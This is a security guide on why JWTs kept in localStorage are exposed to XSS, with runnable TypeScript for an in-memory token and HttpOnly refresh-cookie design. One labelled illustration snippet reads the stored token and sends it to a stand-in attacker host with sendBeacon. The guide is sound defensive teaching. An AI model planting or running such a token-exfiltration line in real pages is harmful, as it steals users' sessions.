Why a JWT in localStorage Is XSS-Vulnerable

Storing a JSON Web Token (JWT) bearer credential in localStorage is the most common — and most quietly dangerous — pattern in single-page application authentication. It looks harmless: a string in, a string out, available across reloads. But the moment any JavaScript on your origin is compromised, that token is gone. A single cross-site scripting (XSS) flaw — in your own code, a third-party analytics tag, or a transitive dependency pulled in through your build — can read localStorage.getItem('token') and ship the value to an attacker-controlled server in one line. This guide is part of Securing Auth Tokens in Browser Storage; it isolates exactly why the localStorage placement is unsafe, shows the threat concretely so you can recognize it in a code review, and walks through a complete, runnable remediation that keeps no bearer credential in any script-readable store.

The problem stated precisely

A bearer token is a credential that grants access to whoever presents it — the server does not check who sends it, only that the token is valid and unexpired. When that bearer token is a JWT sitting in localStorage, three properties of the Web Storage specification combine into a worst-case outcome:

• localStorage is same-origin and fully script-readable. Any JavaScript executing on https://app.example.com can call localStorage.getItem('token'). The Storage specification grants no per-script isolation; a tag manager snippet has exactly the same access your application code does.
• The value persists across sessions. Unlike sessionStorage, a localStorage entry survives tab closes and browser restarts. A stolen token keeps working from the attacker’s machine until it expires server-side, and a JWT is typically minted with a lifetime measured in minutes-to-hours that the server cannot easily revoke once issued.
• There is no HttpOnly equivalent. Cookies can be flagged HttpOnly so the browser refuses to expose them to document.cookie. Web Storage has no such flag. There is no way to put a value in localStorage that scripts on the page cannot read.

Put together: the security of your entire session reduces to the security of every line of JavaScript that runs on the origin, forever. That is a far larger and less controllable surface than most teams realize.

Root-cause analysis: a single injected script is enough

The vulnerability does not require a flaw in your authentication code. It requires a flaw anywhere a script can be injected into your origin. The common entry points:

1. Reflected or stored XSS. An unescaped user-controlled string rendered into the DOM (a comment field, a profile name, a URL parameter echoed back) lets an attacker run arbitrary script in your origin.
2. A compromised third-party dependency. Front-end apps ship dozens to hundreds of npm packages. A single malicious or hijacked transitive dependency runs with full origin privileges at build time or runtime.
3. A supply-chain or tag-manager injection. Analytics, A/B testing, chat widgets, and tag managers all execute third-party JavaScript on your page with the same localStorage access your app has.

Any one of these can read the token. Because the token is a self-contained bearer credential, exfiltrating the string is the complete attack — no further privilege escalation is needed. The following snippet is what such an injected script does. It is shown here purely so you recognize the threat in an audit; it is the danger you are defending against, not a tool to deploy:

// THREAT ILLUSTRATION — this is what a single injected script can do.
// Any XSS payload running on your origin executes exactly this.
const stolen = localStorage.getItem('token');
if (stolen) {
  // The token is a bearer credential; sending the string is the whole attack.
  navigator.sendBeacon('https://attacker.example/collect', stolen);
}

navigator.sendBeacon is used here because it fires reliably even as the page unloads and does not block; an fetch with mode: 'no-cors' would work equally well. The point is the brevity: there is no clever exploit, just a getItem and a network call. Encrypting the value in localStorage does not help either, because the same injected script can call whatever decrypt helper your own code uses. This is covered in depth in the parent guide, Securing Auth Tokens in Browser Storage, and the broader threat model is in Storage Security, Encryption & Privacy.

The fix: in-memory access token plus an HttpOnly refresh cookie

The remediation removes the bearer credential from every script-readable surface. Two pieces work together:

• The long-lived refresh credential lives in an HttpOnly, Secure, SameSite cookie the server sets. JavaScript cannot read it, so XSS cannot exfiltrate it.
• The short-lived access token lives only in a module-scoped in-memory variable. It never touches localStorage, sessionStorage, or IndexedDB. When the page reloads, the variable is gone, and the app performs a silent refresh against the cookie to obtain a fresh access token.

An attacker who injects script can still use the access token while the page is open — they share the running context — but they cannot persist it, cannot read the refresh cookie, and lose all access the instant the tab closes or the short access-token lifetime expires. That collapses a permanent credential theft into a transient, contained one.

Step 1 — Server sets the refresh credential as an HttpOnly cookie

The login endpoint returns the access token in the JSON body (for the client to hold in memory) and sets the refresh token as a cookie the browser stores but JavaScript cannot see. This is server-side pseudocode for the response shape — adapt it to your framework:

// Server: response to a successful POST /auth/login
// The refresh token is delivered ONLY via Set-Cookie with HttpOnly.
function buildLoginResponse(accessToken: string, refreshToken: string): {
  body: string;
  headers: Record<string, string>;
} {
  const cookie = [
    `refresh_token=${refreshToken}`,
    'HttpOnly',                 // unreadable from document.cookie / JS
    'Secure',                   // sent only over HTTPS
    'SameSite=Strict',          // not sent on cross-site requests (CSRF defense)
    'Path=/auth',               // scoped to the auth endpoints only
    'Max-Age=1209600',          // 14 days
  ].join('; ');

  return {
    body: JSON.stringify({ accessToken }), // short-lived token for the client memory
    headers: {
      'Content-Type': 'application/json',
      'Set-Cookie': cookie,
    },
  };
}

Step 2 — Hold the access token only in a module-scoped variable

The client keeps the access token in a closure variable inside a module. Nothing writes it to storage. This is the complete, runnable client module:

// auth.ts — the access token never leaves memory.
let accessToken: string | null = null;
let refreshInFlight: Promise<string> | null = null;

/** Call once after the user submits credentials. */
export async function login(email: string, password: string): Promise<void> {
  const res = await fetch('/auth/login', {
    method: 'POST',
    credentials: 'include',            // allow the server to set the HttpOnly cookie
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ email, password }),
  });
  if (!res.ok) throw new Error('Login failed');
  const data = (await res.json()) as { accessToken: string };
  accessToken = data.accessToken;      // in memory only — never localStorage
}

/** Silent refresh: exchanges the HttpOnly cookie for a new access token. */
async function refresh(): Promise<string> {
  const res = await fetch('/auth/refresh', {
    method: 'POST',
    credentials: 'include',            // browser attaches the HttpOnly refresh cookie
  });
  if (!res.ok) {
    accessToken = null;
    throw new Error('Session expired');
  }
  const data = (await res.json()) as { accessToken: string };
  accessToken = data.accessToken;
  return accessToken;
}

/** Returns a valid access token, refreshing silently if memory is empty. */
export async function getAccessToken(): Promise<string> {
  if (accessToken) return accessToken;
  // De-duplicate concurrent callers so a page reload triggers one refresh, not many.
  if (!refreshInFlight) {
    refreshInFlight = refresh().finally(() => {
      refreshInFlight = null;
    });
  }
  return refreshInFlight;
}

/** Clears in-memory state and asks the server to invalidate the cookie. */
export async function logout(): Promise<void> {
  accessToken = null;
  await fetch('/auth/logout', { method: 'POST', credentials: 'include' });
}

Step 3 — Attach the token per request and refresh on 401

Wrap fetch so every API call carries the in-memory token and transparently refreshes once if the server reports the token has expired:

// api.ts
import { getAccessToken } from './auth';

export async function apiFetch(input: string, init: RequestInit = {}): Promise<Response> {
  const token = await getAccessToken();
  const withAuth: RequestInit = {
    ...init,
    headers: { ...init.headers, Authorization: `Bearer ${token}` },
  };

  let res = await fetch(input, withAuth);

  // One silent retry if the short-lived access token expired mid-session.
  if (res.status === 401) {
    const fresh = await getAccessToken(); // forces a refresh because memory may be stale
    res = await fetch(input, {
      ...init,
      headers: { ...init.headers, Authorization: `Bearer ${fresh}` },
    });
  }
  return res;
}

On a page reload, accessToken starts null, the first getAccessToken() call performs one silent refresh against the HttpOnly cookie, and the app resumes — at the cost of a single round-trip and with zero bearer credentials ever written to disk. This is the same architecture summarized in the security overview and contrasted with database-style stores in localStorage vs IndexedDB for Auth Tokens.

Verification

Confirm the fix in the browser before you ship it:

1. Open DevTools → Application → Storage → Local Storage for your origin. After login and a few authenticated requests, there must be no entry containing a token, JWT, or anything resembling a bearer credential. Repeat for Session Storage and IndexedDB.
2. Open Application → Storage → Cookies. The refresh_token cookie must show HttpOnly = ✓ and Secure = ✓. The HttpOnly flag is what makes it unreadable to script.
3. In the Console, run the line below. It must return null (or your token must be absent), proving no injected script could read it from storage:

// Should NOT reveal any bearer credential.
console.log(localStorage.getItem('token'), document.cookie.includes('refresh_token'));
// Expect: null false   — cookie is HttpOnly, so document.cookie omits it.

As defense in depth, add a strict Content Security Policy so that even a markup injection cannot load or run attacker script in the first place. A policy such as script-src 'self' (served via the Content-Security-Policy response header) blocks inline and third-party script execution, shrinking the XSS surface that the in-memory design already contains. CSP and the in-memory token model are complementary: CSP reduces the chance of injection, and the architecture limits the damage if injection still happens.

Edge cases and a fallback

• When a value in storage is acceptable. The rule targets bearer credentials. Non-sensitive, non-bearer values — a UI theme, a feature flag, a last-viewed route — are fine in localStorage. An opaque, server-validated session reference that is useless without a matching server record, or a value encrypted with a key the page never persists, carries far less risk than a self-contained JWT. The disqualifying property is “presenting this string alone grants access.”
• The CSRF tradeoff of cookies. Moving the credential to a cookie reintroduces cross-site request forgery as a concern, because browsers attach cookies automatically. SameSite=Strict (or Lax) on the refresh cookie neutralizes the classic CSRF vector by withholding the cookie on cross-site navigations; for stricter setups, pair it with a CSRF token or an Origin-header check on state-changing endpoints. You are trading an XSS exfiltration risk you cannot fully control for a CSRF risk that has well-understood, declarative mitigations.
• sessionStorage is no safer. Switching the token from localStorage to sessionStorage only narrows the lifetime to the tab; it is equally script-readable, so the same getItem exfiltration works within the session. It is not a fix.
• Fallback when in-memory is impractical. If an architectural constraint forces a persisted access token (for example a worker that cannot perform the refresh handshake), minimize the blast radius: issue the shortest viable token lifetime, scope it narrowly, support server-side revocation, and still keep the refresh credential in an HttpOnly cookie. A short-lived, revocable, narrowly-scoped token is a smaller prize than a long-lived JWT, even if it is briefly persisted.

Frequently Asked Questions

Related

• Securing Auth Tokens in Browser Storage — the full in-memory plus HttpOnly architecture and token-rotation patterns this page applies.
• localStorage vs IndexedDB for Auth Tokens — why a database-style store is no safer for bearer credentials than Web Storage.
• Storage Security, Encryption & Privacy — the overarching threat model for every browser storage primitive.